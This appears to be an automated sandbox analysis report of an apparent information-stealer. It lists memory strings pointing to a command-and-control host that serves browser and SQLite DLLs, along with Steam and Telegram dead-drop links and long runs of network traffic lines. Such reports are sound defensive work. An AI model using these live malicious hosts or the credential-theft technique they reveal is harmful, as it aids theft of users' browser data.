Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/H
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/freebl3.dll
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/mozglue.dll
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/msvcp140.dll
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/nss3.dll
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/nss3.dllq
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/softokn3.dll
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/softokn3.dll-0
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/sql.dll
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/sql.dlld
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/vcruntime140.dll
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/vcruntime140.dllo
Source: file.exe, file.exe, 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com:80
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com:80/sql.dll
Source: file.exe, 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com:80nfwqnfwovfdkhttps://steamcommunity.com/profiles/76561199780418869u5
Source: MSBuild.exe, 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com:80t-Disposition:
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.1.dr	String found in binary or memory: http://upx.sf.net
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: MSBuild.exe, 00000001.00000002.3039927466.000000001D81D000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3035346412.0000000017877000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000F5B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3029810076.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, EGCGHC.1.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000F5B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3029810076.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, EGCGHC.1.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000F5B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3029810076.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, EGCGHC.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000F5B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3029810076.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, EGCGHC.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: EGCGHC.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: file.exe, file.exe, 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: HDBGHD.1.dr	String found in binary or memory: https://support.mozilla.org
Source: HDBGHD.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HDBGHD.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: MSBuild.exe, 00000001.00000002.3034845728.000000001757A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp, GIJDAF.1.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: GIJDAF.1.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: MSBuild.exe, 00000001.00000002.3034845728.000000001757A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp, GIJDAF.1.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: GIJDAF.1.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: MSBuild.exe, 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: file.exe, file.exe, 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5ed
Source: file.exe, 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5edu55uhttps://steamcommunity.com/profiles/76561199780418869sql.dllsqlp.dllMozilla/5.
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000F5B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3029810076.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, EGCGHC.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: MSBuild.exe, 00000001.00000002.3029810076.0000000000F5B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3029810076.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, EGCGHC.1.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: HDBGHD.1.dr	String found in binary or memory: https://www.mozilla.org
Source: MSBuild.exe, 00000001.00000002.3034845728.000000001757A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: HDBGHD.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: MSBuild.exe, 00000001.00000002.3034845728.000000001757A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: HDBGHD.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: MSBuild.exe, 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3034845728.000000001757A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: HDBGHD.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: MSBuild.exe, 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: HDBGHD.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: MSBuild.exe, 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3034845728.000000001757A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: MSBuild.exe, 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: HDBGHD.1.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
